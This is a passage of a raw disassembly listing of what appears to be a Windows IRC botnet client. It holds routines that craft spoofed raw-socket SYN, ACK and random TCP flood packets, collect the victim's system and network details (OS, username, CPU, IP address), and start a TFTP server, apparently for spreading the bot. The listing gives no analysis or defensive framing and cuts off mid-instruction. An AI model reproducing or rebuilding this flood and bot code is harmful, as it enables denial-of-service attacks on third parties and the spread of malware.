[ebp+68h+var_98] push eax rep movsd call sub_4088EA push 5 pop ecx push 5 lea esi, [ebp+68h+var_30] lea edi, [ebp+68h+var_B8] rep movsd mov [ebp+68h+var_C], ax pop ecx lea esi, [ebp+68h+var_1C] lea edi, [ebp+68h+var_A4] rep movsd xor eax, eax lea edi, [ebp+68h+var_90] stosd lea eax, [ebp+68h+var_B8] push 28h push eax call sub_4088EA add esp, 10h push 5 pop ecx push 10h mov [ebp+68h+var_26], ax lea eax, [ebp+68h+var_54] push eax push 0 push 28h lea eax, [ebp+68h+var_B8] push eax push [ebp+68h+var_4] lea esi, [ebp+68h+var_30] lea edi, [ebp+68h+var_B8] rep movsd call dword_43A38C ; sendto cmp eax, 0FFFFFFFFh jnz loc_4127A5 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+68h+var_F8] push offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>." push eax call sub_416975 lea eax, [ebp+68h+var_F8] push eax call sub_401F0F add esp, 10h xor esi, esi jmp short loc_4128DD ; --------------------------------------------------------------------------- loc_4128DA: ; CODE XREF: sub_41267A+13Ej ; sub_41267A+14Cj mov esi, [ebp+68h+var_8] loc_4128DD: ; CODE XREF: sub_41267A+25Ej pop ebx loc_4128DE: ; CODE XREF: sub_41267A+74j push [ebp+68h+var_4] call dword_43A4D0 ; closesocket loc_4128E7: ; CODE XREF: sub_41267A+58j call dword_43A4DC ; WSACleanup mov eax, esi pop esi loc_4128F0: ; CODE XREF: sub_41267A+35j pop edi add ebp, 68h leave retn sub_41267A endp ; =============== S U B R O U T I N E ======================================= sub_4128F6 proc near ; CODE XREF: sub_41294E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40877E push [esp+10h+arg_4] mov esi, eax call sub_416D02 push [esp+14h+arg_8] mov ebx, eax call sub_416D02 mov edi, eax call sub_416B31 cdq mov ecx, 200h idiv ecx push edi push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41267A add esp, 1Ch test eax, eax jnz short loc_41293F inc eax loc_41293F: ; CODE XREF: sub_4128F6+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4128F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; DATA XREF: sub_409848+2D01o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov esi, eax mov ecx, 85h lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_4128F6 push eax lea eax, [ebp+var_414] push offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)." push eax call sub_416975 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4129CB push esi push [ebp+var_C] lea eax, [ebp+var_414] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_405D62 add esp, 14h loc_4129CB: ; CODE XREF: sub_41294E+5Bj lea eax, [ebp+var_414] push eax call sub_401F0F push [ebp+var_10] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_41294E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4129E9 proc near ; CODE XREF: start+74p ; sub_409848+4D1Bp ... arg_0 = dword ptr 4 push esi push edi call dword_422004 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" push 32h mov esi, offset dword_480D44 push esi call sub_416BCD add esp, 18h pop edi mov eax, esi pop esi retn sub_4129E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_412A3C proc near ; CODE XREF: sub_403E31+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp lea ebp, [esp-78h] sub esp, 94h push esi lea eax, [ebp+78h+var_94] push eax xor esi, esi mov [ebp+78h+var_94], 94h call dword_422120 ; GetVersionExA test eax, eax jz short loc_412AAC cmp [ebp+78h+var_90], 4 jnz short loc_412A8E cmp [ebp+78h+var_8C], esi jnz short loc_412A7C cmp [ebp+78h+var_84], 1 jnz short loc_412A71 inc esi loc_412A71: ; CODE XREF: sub_412A3C+32j cmp [ebp+78h+var_84], 2 jnz short loc_412AAC xor esi, esi inc esi jmp short loc_412AAC ; --------------------------------------------------------------------------- loc_412A7C: ; CODE XREF: sub_412A3C+2Cj cmp [ebp+78h+var_8C], 0Ah jnz short loc_412A86 loc_412A82: ; CODE XREF: sub_412A3C+5Bj push 2 jmp short loc_412AAB ; --------------------------------------------------------------------------- loc_412A86: ; CODE XREF: sub_412A3C+44j cmp [ebp+78h+var_8C], 5Ah jnz short loc_412AAC jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A8E: ; CODE XREF: sub_412A3C+27j cmp [ebp+78h+var_90], 5 jnz short loc_412AAC cmp [ebp+78h+var_8C], esi jz short loc_412A82 cmp [ebp+78h+var_8C], 1 jnz short loc_412AA3 loc_412A9F: ; CODE XREF: sub_412A3C+50j push 3 jmp short loc_412AAB ; --------------------------------------------------------------------------- loc_412AA3: ; CODE XREF: sub_412A3C+61j cmp [ebp+78h+var_8C], 2 jnz short loc_412AAC push 7 loc_412AAB: ; CODE XREF: sub_412A3C+48j ; sub_412A3C+65j pop esi loc_412AAC: ; CODE XREF: sub_412A3C+21j ; sub_412A3C+39j ... mov eax, esi pop esi add ebp, 78h leave retn sub_412A3C endp ; =============== S U B R O U T I N E ======================================= sub_412AB4 proc near ; CODE XREF: sub_412B6A+240p push ebx push esi push edi mov edi, 0F4240h loc_412ABC: ; CODE XREF: sub_412AB4+2Fj ; sub_412AB4+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_422000 ; Sleep rdtsc push 0 sub eax, esi push edi sbb edx, ebx push edx push eax call sub_4184F0 mov esi, edx test esi, esi mov ebx, eax ja short loc_412ABC jb short loc_412AEB cmp ebx, edi ja short loc_412ABC loc_412AEB: ; CODE XREF: sub_412AB4+31j push 0 push 64h push esi push ebx call sub_418470 mov ecx, edx push 64h xor edx, edx test ecx, ecx mov edi, eax pop eax ja short loc_412B5E jb short loc_412B0A cmp edi, 50h jnb short loc_412B0F loc_412B0A: ; CODE XREF: sub_412AB4+4Fj push 4Bh pop eax xor edx, edx loc_412B0F: ; CODE XREF: sub_412AB4+54j test ecx, ecx ja short loc_412B5E jb short loc_412B1A cmp edi, 47h jnb short loc_412B1F loc_412B1A: ; CODE XREF: sub_412AB4+5Fj push 42h pop eax xor edx, edx loc_412B1F: ; CODE XREF: sub_412AB4+64j test ecx, ecx ja short loc_412B5E jb short loc_412B2A cmp edi, 37h jnb short loc_412B2F loc_412B2A: ; CODE XREF: sub_412AB4+6Fj push 32h pop eax xor edx, edx loc_412B2F: ; CODE XREF: sub_412AB4+74j test ecx, ecx ja short loc_412B5E jb short loc_412B3A cmp edi, 26h jnb short loc_412B3F loc_412B3A: ; CODE XREF: sub_412AB4+7Fj push 21h pop eax xor edx, edx loc_412B3F: ; CODE XREF: sub_412AB4+84j test ecx, ecx ja short loc_412B5E jb short loc_412B4A cmp edi, 1Eh jnb short loc_412B4F loc_412B4A: ; CODE XREF: sub_412AB4+8Fj push 19h pop eax xor edx, edx loc_412B4F: ; CODE XREF: sub_412AB4+94j test ecx, ecx ja short loc_412B5E jb short loc_412B5A cmp edi, 0Ah jnb short loc_412B5E loc_412B5A: ; CODE XREF: sub_412AB4+9Fj xor eax, eax xor edx, edx loc_412B5E: ; CODE XREF: sub_412AB4+4Dj ; sub_412AB4+5Dj ... sub eax, edi sbb edx, ecx add eax, ebx pop edi adc edx, esi pop esi pop ebx retn sub_412AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_412B6A proc near ; CODE XREF: sub_409848+4F12p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 7E8h push ebx push esi push edi lea eax, [ebp+70h+var_CC] push eax mov [ebp+70h+var_4], 422B02h mov [ebp+70h+var_CC], 94h call dword_422120 ; GetVersionExA xor ebx, ebx cmp [ebp+70h+var_C8], 4 jnz short loc_412BDB cmp [ebp+70h+var_C4], ebx jnz short loc_412BBD cmp [ebp+70h+var_BC], 1 jnz short loc_412BAA mov [ebp+70h+var_4], offset a95 ; "95" loc_412BAA: ; CODE XREF: sub_412B6A+37j cmp [ebp+70h+var_BC], 2 jnz loc_412C41 mov [ebp+70h+var_4], offset aNt ; "NT" jmp short loc_412C18 ; --------------------------------------------------------------------------- loc_412BBD: ; CODE XREF: sub_412B6A+31j cmp [ebp+70h+var_C4], 0Ah jnz short loc_412BCC mov [ebp+70h+var_4], offset a98 ; "98" jmp short loc_412C12 ; --------------------------------------------------------------------------- loc_412BCC: ; CODE XREF: sub_412B6A+57j cmp [ebp+70h+var_C4], 5Ah jnz short loc_412C0B mov [ebp+70h+var_4], offset aMe_0 ; "ME" jmp short loc_412C12 ; --------------------------------------------------------------------------- loc_412BDB: ; CODE XREF: sub_412B6A+2Cj cmp [ebp+70h+var_C8], 5 jnz short loc_412C0B cmp [ebp+70h+var_C4], ebx jnz short loc_412BEF mov [ebp+70h+var_4], offset a2k ; "2K" jmp short loc_412C12 ; --------------------------------------------------------------------------- loc_412BEF: ; CODE XREF: sub_412B6A+7Aj cmp [ebp+70h+var_C4], 1 jnz short loc_412BFE mov [ebp+70h+var_4], offset aXp_0 ; "XP" jmp short loc_412C12 ; --------------------------------------------------------------------------- loc_412BFE: ; CODE XREF: sub_412B6A+89j cmp [ebp+70h+var_C4], 2 mov [ebp+70h+var_4], offset a2003 ; "2003" jz short loc_412C12 loc_412C0B: ; CODE XREF: sub_412B6A+66j ; sub_412B6A+75j mov [ebp+70h+var_4], offset a??? ; "???" loc_412C12: ; CODE XREF: sub_412B6A+60j ; sub_412B6A+6Fj ... cmp [ebp+70h+var_BC], 2 jnz short loc_412C41 loc_412C18: ; CODE XREF: sub_412B6A+51j cmp [ebp+70h+var_B8], bl jz short loc_412C41 lea eax, [ebp+70h+var_B8] push eax push [ebp+70h+var_4] lea eax, [ebp+70h+var_2E8] push offset aSS_5 ; "%s (%s)" push eax call sub_416975 lea eax, [ebp+70h+var_2E8] add esp, 10h mov [ebp+70h+var_4], eax loc_412C41: ; CODE XREF: sub_412B6A+44j ; sub_412B6A+ACj ... push 3Fh pop ecx xor eax, eax mov [ebp+70h+var_25C], cx lea edi, [ebp+70h+var_25A] rep stosd stosw mov eax, dword_43A450 cmp eax, ebx mov [ebp+70h+var_C], 100h jz short loc_412C74 lea ecx, [ebp+70h+var_C] push ecx lea ecx, [ebp+70h+var_25C] push ecx call eax ; GetUserNameA loc_412C74: ; CODE XREF: sub_412B6A+FBj push [ebp+70h+arg_4] call sub_408894 pop ecx push eax call dword_43A434 ; inet_addr push 2 mov [ebp+70h+var_8], eax push 4 lea eax, [ebp+70h+var_8] push eax call dword_43A4B4 ; gethostbyaddr cmp eax, ebx jz short loc_412C9D push dword ptr [eax] jmp short loc_412CA2 ; --------------------------------------------------------------------------- loc_412C9D: ; CODE XREF: sub_412B6A+12Dj push offset aCouldnTResolve ; "couldn't resolve host" loc_412CA2: ; CODE XREF: sub_412B6A+131j lea eax, [ebp+70h+var_3E4] push eax call sub_416975 pop ecx pop ecx push 104h lea eax, [ebp+70h+var_4E8] push eax call dword_422048 ; GetSystemDirectoryA push 46h lea eax, [ebp+70h+var_114] push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx push ebx mov esi, 409h push esi call dword_42209C ; GetDateFormatA push 46h lea eax, [ebp+70h+var_15C] push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_422098 ; GetTimeFormatA push 8 pop ecx xor eax, eax lea edi, [ebp+70h+var_38] rep stosd lea eax, [ebp+70h+var_38] push eax call dword_422130 ; GlobalMemoryStatus push ebx push ebx push ebx lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_4E8] push eax call sub_41809F lea eax, [ebp+70h+var_18] push eax lea eax, [ebp+70h+var_7E8] push eax call sub_4032A8 push 60h pop ecx mov esi, eax lea edi, [ebp+70h+var_668] push ebx rep movsd call sub_4129E9 add esp, 20h push eax lea eax, [ebp+70h+var_15C] push eax lea eax, [ebp+70h+var_114] push eax lea eax, [ebp+70h+var_25C] push eax push [ebp+70h+arg_4] call sub_408894 pop ecx push eax lea eax, [ebp+70h+var_3E4] push eax lea eax, [ebp+70h+var_4E8] push eax push [ebp+70h+var_C0] lea eax, [ebp+70h+var_5E8] push [ebp+70h+var_C4] push [ebp+70h+var_C8] push [ebp+70h+var_4] push eax lea eax, [ebp+70h+var_568] push eax mov eax, [ebp+70h+var_2C] shr eax, 0Ah push ebx push eax call sub_4031A4 pop ecx pop ecx push eax mov eax, [ebp+70h+var_30] shr eax, 0Ah push ebx push eax call sub_4031A4 pop ecx pop ecx push eax call sub_412AB4 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+70h+arg_0] call sub_416BCD mov eax, [ebp+70h+arg_0] add esp, 50h pop edi pop esi pop ebx add ebp, 70h leave retn sub_412B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_412DD1 proc near ; CODE XREF: sub_409848+3A5Fp ; sub_409848+4F41p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 8Ch push edi push 20h pop ecx xor eax, eax cmp dword_43A540, eax lea edi, [ebp+6Ch+var_8C] rep stosd pop edi jnz short loc_412E37 push eax push 80h lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_C] push eax call dword_43A510 ; InternetGetConnectedStateExA test eax, eax jnz short loc_412E18 lea eax, [ebp+6Ch+var_8C] push offset dword_42B6E4 push eax call sub_416975 pop ecx pop ecx loc_412E18: ; CODE XREF: sub_412DD1+35j test [ebp+6Ch+var_C], 1 lea eax, [ebp+6Ch+var_8] jz short loc_412E30 push offset dword_42B6DC loc_412E26: ; CODE XREF: sub_412DD1+64j push eax call sub_416975 pop ecx pop ecx jmp short loc_412E55 ; --------------------------------------------------------------------------- loc_412E30: ; CODE XREF: sub_412DD1+4Ej push offset dword_42B6D8 jmp short loc_412E26 ; --------------------------------------------------------------------------- loc_412E37: ; CODE XREF: sub_412DD1+1Dj push esi mov esi, offset off_42B6D4 lea eax, [ebp+6Ch+var_8] push esi push eax call sub_416975 lea eax, [ebp+6Ch+var_8C] push esi push eax call sub_416975 add esp, 10h pop esi loc_412E55: ; CODE XREF: sub_412DD1+5Dj push [ebp+6Ch+arg_4] push [ebp+6Ch+arg_8] call sub_408894 pop ecx push eax lea eax, [ebp+6Ch+var_8C] push eax lea eax, [ebp+6Ch+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+6Ch+arg_0] call sub_416BCD mov eax, [ebp+6Ch+arg_0] add esp, 1Ch add ebp, 6Ch leave retn sub_412DD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=74h sub_412E87 proc near ; DATA XREF: sub_409848+597Fo var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 440h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+74h+var_240] rep movsd mov esi, dword_422004 mov dword ptr [eax+19Ch], 1 push 0Eh xor eax, eax xor ebx, ebx mov [ebp+74h+var_A0], bl pop ecx lea edi, [ebp+74h+var_9F] rep stosd stosw stosb call esi ; GetTickCount push eax call sub_416B24 pop ecx push 0FFh push 3 push 2 call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jnz short loc_412F10 call dword_43A47C ; WSAGetLastError push eax push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"... loc_412EF3: ; CODE XREF: sub_412E87+B1j lea eax, [ebp+74h+var_440] push eax call sub_416975 add esp, 0Ch loc_412F02: ; CODE XREF: sub_412E87+D8j ; sub_412E87+3DEj cmp [ebp+74h+var_A8], ebx jnz loc_413215 jmp loc_4131F5 ; --------------------------------------------------------------------------- loc_412F10: ; CODE XREF: sub_412E87+5Ej push 4 lea ecx, [ebp+74h+var_34] push ecx push 2 push ebx push eax mov [ebp+74h+var_34], 1 call dword_43A3D8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_412F3A call dword_43A47C ; WSAGetLastError push eax push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"... jmp short loc_412EF3 ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412E87+A3j lea eax, [ebp+74h+var_23C] push eax call dword_43A434 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_412F61 loc_412F4C: ; DATA XREF: .text:off_42B6D4o lea eax, [ebp+74h+var_440] push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP." push eax call sub_416975 pop ecx pop ecx jmp short loc_412F02 ; --------------------------------------------------------------------------- loc_412F61: ; CODE XREF: sub_412E87+C3j xor eax, eax lea edi, [ebp+74h+var_44] stosd stosd stosd stosd push ebx mov [ebp+74h+var_44], 2 call dword_43A514 ; ntohs mov [ebp+74h+var_42], ax lea eax, [ebp+74h+var_23C] push eax call dword_43A434 ; inet_addr mov [ebp+74h+var_40], eax mov [ebp+74h+arg_0], ebx call esi ; GetTickCount mov [ebp+74h+var_1C], eax call esi ; GetTickCount sub eax, [ebp+74h+var_1C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+74h+var_B4] ja loc_4131AD mov [ebp+74h+var_30], 45h mov [ebp+74h+var_2C], 1 mov [ebp+74h+var_2A], bx mov [ebp+74h+var_28], 80h mov [ebp+74h+var_27], 6 mov [ebp+74h+var_C], 50h mov [ebp+74h+var_6], bx loc_412FC8: ; CODE XREF: sub_412E87+320j push 28h call dword_43A514 ; ntohs cmp [ebp+74h+var_B0], ebx mov [ebp+74h+var_2E], ax mov [ebp+74h+var_26], bx jz short loc_413004 call sub_416B31 mov esi, eax shl esi, 8 call sub_416B31 add esi, eax shl esi, 8 call sub_416B31 add esi, eax shl esi, 8 call sub_416B31 add esi, eax jmp short loc_413019 ; --------------------------------------------------------------------------- loc_413004: ; CODE XREF: sub_412E87+154j push [ebp+74h+var_240] call sub_408894 pop ecx push eax call dword_43A434 ; inet_addr mov esi, eax loc_413019: ; CODE XREF: sub_412E87+17Bj cmp [ebp+74h+var_B8], ebx mov edi, [ebp+74h+var_40] mov [ebp+74h+var_24], esi mov [ebp+74h+var_20], edi jnz short loc_413037 call sub_416B31 cdq mov ecx, 401h idiv ecx push edx jmp short loc_41303A ; --------------------------------------------------------------------------- loc_413037: ; CODE XREF: sub_412E87+19Ej push [ebp+74h+var_B8] loc_41303A: ; CODE XREF: sub_412E87+1AEj call dword_43A514 ; ntohs mov [ebp+74h+var_16], ax call sub_416B31 cdq mov ecx, 401h idiv ecx push edx call dword_43A514 ; ntohs push 12345678h mov [ebp+74h+var_18], ax call dword_43A4EC ; ntohl mov [ebp+74h+var_14], eax lea eax, [ebp+74h+var_1BC] push offset aSyn ; "syn" push eax call sub_417440 test eax, eax pop ecx pop ecx jz short loc_41308A mov [ebp+74h+var_10], ebx mov [ebp+74h+var_B], 2 jmp short loc_4130E6 ; --------------------------------------------------------------------------- loc_41308A: ; CODE XREF: sub_412E87+1F8j lea eax, [ebp+74h+var_1BC] push offset aAck ; "ack" push eax call sub_417440 test eax, eax pop ecx pop ecx jz short loc_4130AA mov [ebp+74h+var_10], ebx mov [ebp+74h+var_B], 10h jmp short loc_4130E6 ; --------------------------------------------------------------------------- loc_4130AA: ; CODE XREF: sub_412E87+218j lea eax, [ebp+74h+var_1BC] push offset aRandom_0 ; "random" push eax call sub_417440 test eax, eax pop ecx pop ecx jz short loc_4130E6 call sub_416B31 cdq push 3 pop ecx idiv ecx mov [ebp+74h+var_10], edx call sub_416B31 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+74h+var_B], dl loc_4130E6: ; CODE XREF: sub_412E87+201j ; sub_412E87+221j ... push 200h call dword_43A514 ; ntohs push 14h mov [ebp+74h+var_A], ax mov [ebp+74h+var_8], bx mov [ebp+74h+var_64], esi mov [ebp+74h+var_60], edi mov [ebp+74h+var_5C], bl mov [ebp+74h+var_5B], 6 call dword_43A514 ; ntohs push 8 pop ecx mov [ebp+74h+var_5A], ax push 5 lea esi, [ebp+74h+var_64] lea edi, [ebp+74h+var_A0] rep movsd pop ecx lea eax, [ebp+74h+var_A0] push 34h lea esi, [ebp+74h+var_18] lea edi, [ebp+74h+var_80] push eax rep movsd call sub_4088EA push 5 pop ecx push 5 lea esi, [ebp+74h+var_30] lea edi, [ebp+74h+var_A0] rep movsd mov [ebp+74h+var_8], ax pop ecx lea esi, [ebp+74h+var_18] lea edi, [ebp+74h+var_8C] rep movsd xor eax, eax lea edi, [ebp+74h+var_78] stosd lea eax, [ebp+74h+var_A0] push 28h push eax call sub_4088EA add esp, 10h push 5 pop ecx push 10h mov [ebp+74h+var_26], ax lea eax, [ebp+74h+var_44] push eax push ebx push 3Ch lea eax, [ebp+74h+var_A0] push eax push [ebp+74h+var_4] lea esi, [ebp+74h+var_30] lea edi, [ebp+74h+var_A0] rep movsd call dword_43A38C ; sendto cmp eax, 0FFFFFFFFh jz loc_413232 inc [ebp+74h+arg_0] call dword_422004 ; GetTickCount sub eax, [ebp+74h+var_1C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+74h+var_B4] jbe loc_412FC8 loc_4131AD: ; CODE XREF: sub_412E87+11Dj push [ebp+74h+var_4] call dword_43A4D0 ; closesocket mov eax, [ebp+74h+arg_0] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+74h+var_B4] shr ecx, 14h push ecx push eax push [ebp+74h+arg_0] lea eax, [ebp+74h+var_23C] push eax lea eax, [ebp+74h+var_1BC] push eax lea eax, [ebp+74h+var_440] push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"... push eax call sub_416975 add esp, 1Ch cmp [ebp+74h+var_A8], ebx jnz short loc_413215 loc_4131F5: ; CODE XREF: sub_412E87+84j push ebx push [ebp+74h+var_AC] lea eax, [ebp+74h+var_440] push eax lea eax, [ebp+74h+var_13C] push eax push [ebp+74h+var_240] call sub_405D62 add esp, 14h loc_413215: ; CODE XREF: sub_412E87+7Ej ; sub_412E87+36Cj lea eax, [ebp+74h+var_440] push eax call sub_401F0F push [ebp+74h+var_BC] call sub_4139F6 pop ecx pop ecx push ebx call dword_422014 ; ExitThread loc_413232: ; CODE XREF: sub_412E87+302j push [ebp+74h+var_4] call dword_43A4D0 ; closesocket call dword_43A47C ; WSAGetLastError push eax push [ebp+74h+arg_0] lea eax, [ebp+74h+var_23C] push eax push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."... lea eax, [ebp+74h+var_440] push 200h push eax call sub_416BCD add esp, 18h jmp loc_412F02 sub_412E87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_41326A proc near ; CODE XREF: sub_41326A:loc_413723p ; DATA XREF: sub_401141+104o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 884h mov edx, [ebp+74h+arg_0] push ebx push esi push edi mov esi, offset aOctet ; "octet" lea edi, [ebp+74h+var_1C] movsd movsw xor ebx, ebx push ebx xor eax, eax inc eax mov esi, edx push 2 mov ecx, 0A9h lea edi, [ebp+74h+var_37C] rep movsd inc [ebp+74h+var_16C] push 2 mov [ebp+74h+var_10], eax mov [edx+2A0h], eax call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+74h+var_4], esi jnz short loc_413326 push 190h call dword_422000 ; Sleep call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+74h+var_780] push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"... push eax call sub_416975 add esp, 0Ch cmp [ebp+74h+var_E0], ebx jnz short loc_413309 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_405D62 add esp, 14h loc_413309: ; CODE XREF: sub_41326A+7Dj lea eax, [ebp+74h+var_780] push eax call sub_401F0F push [ebp+74h+var_170] call sub_4139F6 pop ecx jmp loc_41370F ; --------------------------------------------------------------------------- loc_413326: ; CODE XREF: sub_41326A+52j mov eax, [ebp+74h+var_170] push [ebp+74h+var_168] imul eax, 234h mov dword_43B26C[eax], esi xor eax, eax lea edi, [ebp+74h+var_44] stosd stosd stosd stosd mov [ebp+74h+var_44], 2 call dword_43A514 ; ntohs mov [ebp+74h+var_42], ax push 10h lea eax, [ebp+74h+var_44] push eax push esi mov [ebp+74h+var_40], ebx call dword_43A49C ; bind cmp eax, 0FFFFFFFFh jnz short loc_413385 push 1388h call dword_422000 ; Sleep dec [ebp+74h+var_16C] push [ebp+74h+arg_0] jmp loc_413723 ; --------------------------------------------------------------------------- loc_413385: ; CODE XREF: sub_41326A+100j lea eax, [ebp+74h+var_378] push offset dword_422990 push eax call sub_41720C cmp eax, ebx pop ecx pop ecx mov [ebp+74h+var_8], eax jnz short loc_4133FE push 190h call dword_422000 ; Sleep lea eax, [ebp+74h+var_378] push eax lea eax, [ebp+74h+var_780] push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s." push eax call sub_416975 push ebx push [ebp+74h+var_E4] lea eax, [ebp+74h+var_780] push eax lea eax, [ebp+74h+var_164] push eax push [ebp+74h+var_37C] call sub_405D62 lea eax, [ebp+74h+var_780] push eax call sub_401F0F push [ebp+74h+var_170] call sub_4139F6 add esp, 28h jmp loc_413710 ; --------------------------------------------------------------------------- loc_4133FE: ; CODE XREF: sub_41326A+133j mov esi, 200h loc_413403: ; CODE XREF: sub_41326A+471j mov edi, 